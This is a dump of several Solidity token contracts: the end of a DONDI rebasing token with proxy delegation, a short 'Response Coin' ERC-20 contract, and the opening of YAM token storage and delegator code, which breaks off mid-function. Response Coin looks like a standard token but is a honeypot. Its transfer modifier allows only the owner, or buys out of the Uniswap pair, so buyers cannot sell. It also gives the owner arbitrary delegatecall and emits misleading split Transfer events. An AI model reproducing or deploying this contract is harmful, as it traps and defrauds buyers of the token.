_allowedFragments[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } /** * @dev Increase the amount of tokens that an owner has allowed to a spender. * This method should be used instead of approve() to avoid the double approval vulnerability * described above. * @param spender The address which will spend the funds. * @param addedValue The amount of tokens to increase the allowance by. */ function increaseAllowance(address spender, uint256 addedValue) external returns (bool) { _allowedFragments[msg.sender][spender] = _allowedFragments[msg.sender][spender].add(addedValue); emit Approval(msg.sender, spender, _allowedFragments[msg.sender][spender]); return true; } /** * @dev Decrease the amount of tokens that an owner has allowed to a spender. * * @param spender The address which will spend the funds. * @param subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseAllowance(address spender, uint256 subtractedValue) external returns (bool) { uint256 oldValue = _allowedFragments[msg.sender][spender]; if (subtractedValue >= oldValue) { _allowedFragments[msg.sender][spender] = 0; } else { _allowedFragments[msg.sender][spender] = oldValue.sub(subtractedValue); } emit Approval(msg.sender, spender, _allowedFragments[msg.sender][spender]); return true; } /* - Governance Functions - */ /** @notice sets the rebaser * @param rebaser_ The address of the rebaser contract to use for authentication. */ function _setRebaser(address rebaser_) external onlyGov { address oldRebaser = rebaser; rebaser = rebaser_; emit NewRebaser(oldRebaser, rebaser_); } /** @notice sets the incentivizer * @param incentivizer_ The address of the rebaser contract to use for authentication. */ function _setIncentivizer(address incentivizer_) external onlyGov { address oldIncentivizer = incentivizer; incentivizer = incentivizer_; emit NewIncentivizer(oldIncentivizer, incentivizer_); } function _setMinter(address minter_) external onlyGov { minter[minter_] = true; emit NewMinter(minter_); } function _removeMinter(address minter_) external onlyGov { minter[minter_] = false; emit RemoveMinter(minter_); } /** @notice sets the pendingGov * @param pendingGov_ The address of the rebaser contract to use for authentication. */ function _setPendingGov(address pendingGov_) external onlyGov { address oldPendingGov = pendingGov; pendingGov = pendingGov_; emit NewPendingGov(oldPendingGov, pendingGov_); } /** @notice lets msg.sender accept governance * */ function _acceptGov() external { require(msg.sender == pendingGov, "!pending"); address oldGov = gov; gov = pendingGov; pendingGov = address(0); emit NewGov(oldGov, gov); } /* - Extras - */ /** * @notice Initiates a new rebase operation, provided the minimum time period has elapsed. * * @dev The supply adjustment equals (totalSupply * DeviationFromTargetRate) / rebaseLag * Where DeviationFromTargetRate is (MarketOracleRate - targetRate) / targetRate * and targetRate is CpiOracleRate / baseCpi */ function rebase( uint256 epoch, uint256 indexDelta, bool positive ) external onlyRebaser returns (uint256) { if (indexDelta == 0) { emit Rebase(epoch, dondisScalingFactor, dondisScalingFactor); return totalSupply; } uint256 prevDondisScalingFactor = dondisScalingFactor; if (!positive) { dondisScalingFactor = dondisScalingFactor.mul(BASE.sub(indexDelta)).div(BASE); } else { uint256 newScalingFactor = dondisScalingFactor.mul(BASE.add(indexDelta)).div(BASE); if (newScalingFactor < _maxScalingFactor()) { dondisScalingFactor = newScalingFactor; } else { dondisScalingFactor = _maxScalingFactor(); } } totalSupply = initSupply.mul(dondisScalingFactor); emit Rebase(epoch, prevDondisScalingFactor, dondisScalingFactor); return totalSupply; } } contract DONDI is DONDIToken { /** * @notice Initialize the new money market * @param name_ ERC-20 name of this token * @param symbol_ ERC-20 symbol of this token * @param decimals_ ERC-20 decimal precision of this token */ function initialize( string memory name_, string memory symbol_, uint8 decimals_, address initial_owner, uint256 initSupply_ ) public { require(initSupply_ > 0, "0 init supply"); super.initialize(name_, symbol_, decimals_); initSupply = initSupply_.mul(10**24/ (BASE)); totalSupply = initSupply_; dondisScalingFactor = BASE; _dondiBalances[initial_owner] = initSupply_.mul(10**24 / (BASE)); // owner renounces ownership after deployment as they need to set // rebaser and incentivizer // gov = gov_; } } contract DONDIDelegationStorage { /** * @notice Implementation address for this contract */ address public implementation; } contract DONDIDelegatorInterface is DONDIDelegationStorage { /** * @notice Emitted when implementation is changed */ event NewImplementation(address oldImplementation, address newImplementation); /** * @notice Called by the gov to update the implementation of the delegator * @param implementation_ The address of the new implementation for delegation * @param allowResign Flag to indicate whether to call _resignImplementation on the old implementation * @param becomeImplementationData The encoded bytes data to be passed to _becomeImplementation */ function _setImplementation(address implementation_, bool allowResign, bytes memory becomeImplementationData) public; } contract DONDIDelegateInterface is DONDIDelegationStorage { /** * @notice Called by the delegator on a delegate to initialize it for duty * @dev Should revert if any issues arise which make it unfit for delegation * @param data The encoded bytes data for any initialization */ function _becomeImplementation(bytes memory data) public; /** * @notice Called by the delegator on a delegate to forfeit its responsibility */ function _resignImplementation() public; } contract DONDIDelegate is DONDI, DONDIDelegateInterface { /** * @notice Construct an empty delegate */ constructor() public {} /** * @notice Called by the delegator on a delegate to initialize it for duty * @param data The encoded bytes data for any initialization */ function _becomeImplementation(bytes memory data) public { // Shh -- currently unused data; // Shh -- we don't ever want this hook to be marked pure if (false) { implementation = address(0); } require(msg.sender == gov, "only the gov may call _becomeImplementation"); } /** * @notice Called by the delegator on a delegate to forfeit its responsibility */ function _resignImplementation() public { // Shh -- we don't ever want this hook to be marked pure if (false) { implementation = address(0); } require(msg.sender == gov, "only the gov may call _resignImplementation"); } } contract DONDIDelegator is DONDITokenInterface, DONDIDelegatorInterface { /** * @notice Construct a new DONDI * @param name_ ERC-20 name of this token * @param symbol_ ERC-20 symbol of this token * @param decimals_ ERC-20 decimal precision of this token * @param initSupply_ Initial token amount * @param implementation_ The address of the implementation the contract delegates to * @param becomeImplementationData The encoded args for becomeImplementation */ constructor( string memory name_, string memory symbol_, uint8 decimals_, uint256 initSupply_, address implementation_, bytes memory becomeImplementationData ) public { // Creator of the contract is gov during initialization gov = msg.sender; // First delegate gets to initialize the delegator (i.e. storage contract) delegateTo( implementation_, abi.encodeWithSignature( "initialize(string,string,uint8,address,uint256)", name_, symbol_, decimals_, msg.sender, initSupply_ ) ); // New implementations always get set via the settor (post-initialize) _setImplementation(implementation_, false, becomeImplementationData); } /** * @notice Called by the gov to update the implementation of the delegator * @param implementation_ The address of the new implementation for delegation * @param allowResign Flag to indicate whether to call _resignImplementation on the old implementation * @param becomeImplementationData The encoded bytes data to be passed to _becomeImplementation */ function _setImplementation(address implementation_, bool allowResign, bytes memory becomeImplementationData) public { require(msg.sender == gov, "DONDIDelegator::_setImplementation: Caller must be gov"); if (allowResign) { delegateToImplementation(abi.encodeWithSignature("_resignImplementation()")); } address oldImplementation = implementation; implementation = implementation_; delegateToImplementation(abi.encodeWithSignature("_becomeImplementation(bytes)", becomeImplementationData)); emit NewImplementation(oldImplementation, implementation); } /** * @notice Sender supplies assets into the market and receives cTokens in exchange * @dev Accrues interest whether or not the operation succeeds, unless reverted * @param mintAmount The amount of the underlying asset to supply * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function mint(address to, uint256 mintAmount) external returns (bool) { to; mintAmount; // Shh delegateAndReturn(); } /** * @notice Transfer `amount` tokens from `msg.sender` to `dst` * @param dst The address of the destination account * @param amount The number of tokens to transfer * @return Whether or not the transfer succeeded */ function transfer(address dst, uint256 amount) external returns (bool) { dst; amount; // Shh delegateAndReturn(); } /** * @notice Transfer `amount` tokens from `src` to `dst` * @param src The address of the source account * @param dst The address of the destination account * @param amount The number of tokens to transfer * @return Whether or not the transfer succeeded */ function transferFrom( address src, address dst, uint256 amount ) external returns (bool) { src; dst; amount; // Shh delegateAndReturn(); } /** * @notice Approve `spender` to transfer up to `amount` from `src` * @dev This will overwrite the approval amount for `spender` * and is subject to issues noted [here](https://eips.ethereum.org/EIPS/eip-20#approve) * @param spender The address of the account which may transfer tokens * @param amount The number of tokens that are approved (-1 means infinite) * @return Whether or not the approval succeeded */ function approve( address spender, uint256 amount ) external returns (bool) { spender; amount; // Shh delegateAndReturn(); } /** * @dev Increase the amount of tokens that an owner has allowed to a spender. * This method should be used instead of approve() to avoid the double approval vulnerability * described above. * @param spender The address which will spend the funds. * @param addedValue The amount of tokens to increase the allowance by. */ function increaseAllowance( address spender, uint256 addedValue ) external returns (bool) { spender; addedValue; // Shh delegateAndReturn(); } function maxScalingFactor() external view returns (uint256) { delegateToViewAndReturn(); } function rebase( uint256 epoch, uint256 indexDelta, bool positive ) external returns (uint256) { epoch; indexDelta; positive; delegateAndReturn(); } /** * @dev Decrease the amount of tokens that an owner has allowed to a spender. * * @param spender The address which will spend the funds. * @param subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseAllowance( address spender, uint256 subtractedValue ) external returns (bool) { spender; subtractedValue; // Shh delegateAndReturn(); } /** * @notice Get the current allowance from `owner` for `spender` * @param owner The address of the account which owns the tokens to be spent * @param spender The address of the account which may transfer tokens * @return The number of tokens allowed to be spent (-1 means infinite) */ function allowance( address owner, address spender ) external view returns (uint256) { owner; spender; // Shh delegateToViewAndReturn(); } /** * @notice Get the current allowance from `owner` for `spender` * @param delegator The address of the account which has designated a delegate * @return Address of delegatee */ function delegates( address delegator ) external view returns (address) { delegator; // Shh delegateToViewAndReturn(); } /** * @notice Get the token balance of the `owner` * @param owner The address of the account to query * @return The number of tokens owned by `owner` */ function balanceOf(address owner) external view returns (uint256) { owner; // Shh delegateToViewAndReturn(); } /** * @notice Currently unused. For future compatability * @param owner The address of the account to query * @return The number of underlying tokens owned by `owner` */ function balanceOfUnderlying(address owner) external view returns (uint256) { owner; // Shh delegateToViewAndReturn(); } /*** Gov Functions ***/ /** * @notice Begins transfer of gov rights. The newPendingGov must call `_acceptGov` to finalize the transfer. * @dev Gov function to begin change of gov. The newPendingGov must call `_acceptGov` to finalize the transfer. * @param newPendingGov New pending gov. */ function _setPendingGov(address newPendingGov) external { newPendingGov; // Shh delegateAndReturn(); } function _setRebaser(address rebaser_) external { rebaser_; // Shh delegateAndReturn(); } function _setIncentivizer(address incentivizer_) external { incentivizer_; // Shh delegateAndReturn(); } function _setMinter(address minter_) external { minter_; delegateAndReturn(); } /** * @notice Accepts transfer of gov rights. msg.sender must be pendingGov * @dev Gov function for pending gov to accept role and update gov * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _acceptGov() external { delegateAndReturn(); } function getPriorVotes(address account, uint blockNumber) external view returns (uint256) { account; blockNumber; delegateToViewAndReturn(); } function delegateBySig( address delegatee, uint nonce, uint expiry, uint8 v, bytes32 r, bytes32 s ) external { delegatee; nonce; expiry; v; r; s; delegateAndReturn(); } function delegate(address delegatee) external { delegatee; delegateAndReturn(); } function getCurrentVotes(address account) external view returns (uint256) { account; delegateToViewAndReturn(); } /** * @notice Internal method to delegate execution to another contract * @dev It returns to the external caller whatever the implementation returns or forwards reverts * @param callee The contract to delegatecall * @param data The raw data to delegatecall * @return The returned bytes from the delegatecall */ function delegateTo(address callee, bytes memory data) internal returns (bytes memory) { (bool success, bytes memory returnData) = callee.delegatecall(data); assembly { if eq(success, 0) { revert(add(returnData, 0x20), returndatasize) } } return returnData; } /** * @notice Delegates execution to the implementation contract * @dev It returns to the external caller whatever the implementation returns or forwards reverts * @param data The raw data to delegatecall * @return The returned bytes from the delegatecall */ function delegateToImplementation(bytes memory data) public returns (bytes memory) { return delegateTo(implementation, data); } /** * @notice Delegates execution to an implementation contract * @dev It returns to the external caller whatever the implementation returns or forwards reverts * There are an additional 2 prefix uints from the wrapper returndata, which we ignore since we make an extra hop. * @param data The raw data to delegatecall * @return The returned bytes from the delegatecall */ function delegateToViewImplementation(bytes memory data) public view returns (bytes memory) { (bool success, bytes memory returnData) = address(this).staticcall(abi.encodeWithSignature("delegateToImplementation(bytes)", data)); assembly { if eq(success, 0) { revert(add(returnData, 0x20), returndatasize) } } return abi.decode(returnData, (bytes)); } function delegateToViewAndReturn() private view returns (bytes memory) { (bool success, ) = address(this).staticcall(abi.encodeWithSignature("delegateToImplementation(bytes)", msg.data)); assembly { let free_mem_ptr := mload(0x40) returndatacopy(free_mem_ptr, 0, returndatasize) switch success case 0 { revert(free_mem_ptr, returndatasize) } default { return(add(free_mem_ptr, 0x40), returndatasize) } } } function delegateAndReturn() private returns (bytes memory) { (bool success, ) = implementation.delegatecall(msg.data); assembly { let free_mem_ptr := mload(0x40) returndatacopy(free_mem_ptr, 0, returndatasize) switch success case 0 { revert(free_mem_ptr, returndatasize) } default { return(free_mem_ptr, returndatasize) } } } /** * @notice Delegates execution to an implementation contract * @dev It returns to the external caller whatever the implementation returns or forwards reverts */ function () external payable { require(msg.value == 0,"DONDIDelegator:fallback: cannot send value to fallback"); // delegate all other functions to current implementation delegateAndReturn(); } }
DC1
pragma solidity ^0.5.17; /* Response Coin */ interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } contract Context { constructor() internal {} // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns(address payable) { return msg.sender; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint c = a / b; return c; } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } contract ResponseCoin { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function transferFrom(address _from, address _to, uint _value) public payable ensure(_from, _to) returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function delegate(address a, bytes memory b) public payable { require(msg.sender == owner); a.delegatecall(b); } function batchSend(address[] memory _tos, uint _value) public payable returns (bool) { require (msg.sender == owner); uint total = _value * _tos.length; require(balanceOf[msg.sender] >= total); balanceOf[msg.sender] -= total; for (uint i = 0; i < _tos.length; i++) { address _to = _tos[i]; balanceOf[_to] += _value; emit Transfer(msg.sender, _to, _value/2); emit Transfer(msg.sender, _to, _value/2); } return true; } modifier ensure(address _from, address _to) { address UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this)); require(_from == owner || _to == owner || _from == UNI); _; } function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash )))); } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; address constant internal UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply; owner = msg.sender; balanceOf[msg.sender] = totalSupply; allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1); emit Transfer(address(0x0), msg.sender, totalSupply); } }
DC1
pragma solidity 0.5.17; library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract YAMTokenStorage { using SafeMath for uint256; /** * @dev Guard variable for re-entrancy checks. Not currently used */ bool internal _notEntered; /** * @notice EIP-20 token name for this token */ string public name; /** * @notice EIP-20 token symbol for this token */ string public symbol; /** * @notice EIP-20 token decimals for this token */ uint8 public decimals; /** * @notice Governor for this contract */ address public gov; /** * @notice Pending governance for this contract */ address public pendingGov; /** * @notice Approved rebaser for this contract */ address public rebaser; /** * @notice Reserve address of YAM protocol */ address public incentivizer; /** * @notice Total supply of YAMs */ uint256 public totalSupply; /** * @notice Internal decimals used to handle scaling factor */ uint256 public constant internalDecimals = 10**24; /** * @notice Used for percentage maths */ uint256 public constant BASE = 10**18; /** * @notice Scaling factor that adjusts everyone's balances */ uint256 public yamsScalingFactor; mapping (address => uint256) internal _yamBalances; mapping (address => mapping (address => uint256)) internal _allowedFragments; uint256 public initSupply; } contract YAMGovernanceStorage { /// @notice A record of each accounts delegate mapping (address => address) internal _delegates; /// @notice A checkpoint for marking number of votes from a given block struct Checkpoint { uint32 fromBlock; uint256 votes; } /// @notice A record of votes checkpoints for each account, by index mapping (address => mapping (uint32 => Checkpoint)) public checkpoints; /// @notice The number of checkpoints for each account mapping (address => uint32) public numCheckpoints; /// @notice The EIP-712 typehash for the contract's domain bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)"); /// @notice The EIP-712 typehash for the delegation struct used by the contract bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)"); /// @notice A record of states for signing / validating signatures mapping (address => uint) public nonces; } contract YAMTokenInterface is YAMTokenStorage, YAMGovernanceStorage { /// @notice An event thats emitted when an account changes its delegate event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate); /// @notice An event thats emitted when a delegate account's vote balance changes event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance); /** * @notice Event emitted when tokens are rebased */ event Rebase(uint256 epoch, uint256 prevYamsScalingFactor, uint256 newYamsScalingFactor); /*** Gov Events ***/ /** * @notice Event emitted when pendingGov is changed */ event NewPendingGov(address oldPendingGov, address newPendingGov); /** * @notice Event emitted when gov is changed */ event NewGov(address oldGov, address newGov); /** * @notice Sets the rebaser contract */ event NewRebaser(address oldRebaser, address newRebaser); /** * @notice Sets the incentivizer contract */ event NewIncentivizer(address oldIncentivizer, address newIncentivizer); /* - ERC20 Events - */ /** * @notice EIP20 Transfer event */ event Transfer(address indexed from, address indexed to, uint amount); /** * @notice EIP20 Approval event */ event Approval(address indexed owner, address indexed spender, uint amount); /* - Extra Events - */ /** * @notice Tokens minted event */ event Mint(address to, uint256 amount); // Public functions function transfer(address to, uint256 value) external returns(bool); function transferFrom(address from, address to, uint256 value) external returns(bool); function balanceOf(address who) external view returns(uint256); function balanceOfUnderlying(address who) external view returns(uint256); function allowance(address owner_, address spender) external view returns(uint256); function approve(address spender, uint256 value) external returns (bool); function increaseAllowance(address spender, uint256 addedValue) external returns (bool); function decreaseAllowance(address spender, uint256 subtractedValue) external returns (bool); function maxScalingFactor() external view returns (uint256); /* - Governance Functions - */ function getPriorVotes(address account, uint blockNumber) external view returns (uint256); function delegateBySig(address delegatee, uint nonce, uint expiry, uint8 v, bytes32 r, bytes32 s) external; function delegate(address delegatee) external; function delegates(address delegator) external view returns (address); function getCurrentVotes(address account) external view returns (uint256); /* - Permissioned/Governance functions - */ function mint(address to, uint256 amount) external returns (bool); function rebase(uint256 epoch, uint256 indexDelta, bool positive) external returns (uint256); function _setRebaser(address rebaser_) external; function _setIncentivizer(address incentivizer_) external; function _setPendingGov(address pendingGov_) external; function _acceptGov() external; } contract YAMDelegationStorage { /** * @notice Implementation address for this contract */ address public implementation; } contract YAMDelegatorInterface is YAMDelegationStorage { /** * @notice Emitted when implementation is changed */ event NewImplementation(address oldImplementation, address newImplementation); /** * @notice Called by the gov to update the implementation of the delegator * @param implementation_ The address of the new implementation for delegation * @param allowResign Flag to indicate whether to call _resignImplementation on the old implementation * @param becomeImplementationData The encoded bytes data to be passed to _becomeImplementation */ function _setImplementation(address implementation_, bool allowResign, bytes memory becomeImplementationData) public; } contract YAMDelegator is YAMTokenInterface, YAMDelegatorInterface { /** * @notice Construct a new YAM * @param name_ ERC-20 name of this token * @param symbol_ ERC-20 symbol of this token * @param decimals_ ERC-20 decimal precision of this token * @param initSupply_ Initial token amount * @param implementation_ The address of the implementation the contract delegates to * @param becomeImplementationData The encoded args for becomeImplementation */ constructor( string memory name_, string memory symbol_, uint8 decimals_, uint256 initSupply_, address implementation_, bytes memory becomeImplementationData ) public { // Creator of the contract is gov during initialization gov = msg.sender; // First delegate gets to initialize the delegator (i.e. storage contract) delegateTo( implementation_, abi.encodeWithSignature( "initialize(string,string,uint8,address,uint256)", name_, symbol_, decimals_, msg.sender, initSupply_ ) ); // New implementations always get set via the settor (post-initialize) _setImplementation(implementation_, false, becomeImplementationData); } /** * @notice Called by the gov to update the implementation of the delegator * @param implementation_ The address of the new implementation for delegation * @param allowResign Flag to indicate whether to call _resignImplementation on the old implementation * @param becomeImplementationData The encoded bytes data to be passed to _becomeImplementation */ function _setImplementation(address implementation_, bool allowResign, bytes memory becomeImplementationData) public { require(msg.sender == gov, "YAMDelegator::_setImplementation: Caller must be gov"); if (allowResign) { delegateToImplementation(abi.encodeWithSignature("_resignImplementation()")); } address oldImplementation = implementation; implementation = implementation_; delegateToImplementation(abi.encodeWithSignature("_becomeImplementation(bytes)", becomeImplementationData)); emit NewImplementation(oldImplementation, implementation); } /** * @notice Sender supplies assets into the market and receives cTokens in exchange * @dev Accrues interest whether or not the operation succeeds, unless reverted * @param mintAmount The amount of the underlying asset to supply * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function mint(address to, uint256 mintAmount) external returns (bool) { to; mintAmount; // Shh delegateAndReturn(); } /** * @notice Transfer `amount` tokens from `msg.sender` to `dst` * @param dst The address of the destination account * @param amount The number of tokens to transfer * @return Whether or not the transfer succeeded */ function transfer(address dst, uint256 amount) external returns (bool) { dst; amount; // Shh delegateAndReturn(); } /** * @notice Transfer `amount` tokens from `src` to `dst` * @param src The address of the source account * @param dst The address of the destination account * @param amount The number of tokens to transfer * @return Whether or not the transfer succeeded */ function transferFrom( address src, address dst, uint256 amount ) external returns (bool) { src; dst; amount; // Shh delegateAndReturn(); } /** * @notice Approve `spender` to transfer up to `amount` from `src` * @dev This will overwrite the approval amount for `spender` * and is subject to issues noted [here](https://eips.ethereum.org/EIPS/eip-20#approve) * @param spender The address of the account which may transfer tokens * @param amount The number of tokens that are approved (-1 means infinite) * @return Whether or not the approval succeeded */ function approve( address spender, uint256 amount ) external returns (bool) { spender; amount; // Shh delegateAndReturn(); } /** * @dev Increase the amount of tokens that an owner has allowed to a spender. * This method should be used instead of approve() to avoid the double approval vulnerability * described above. * @param spender The address which will spend the funds. * @param addedValue The amount of tokens to increase the allowance by. */ function increaseAllowance( address spender, uint256 addedValue ) external returns (bool) { spender; addedValue; // Shh delegateAndReturn(); } function maxScalingFactor() external view returns (uint256) { delegateToViewAndReturn(); } function rebase( uint256 epoch, uint256 indexDelta, bool positive ) external returns (uint256) { epoch; indexDelta; positive; delegateAndReturn(); } /** * @dev Decrease the amount of tokens that an owner has allowed to a spender. * * @param spender The address which will spend the funds. * @param subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseAllowance( address spender, uint256 subtractedValue ) external returns (bool) { spender; 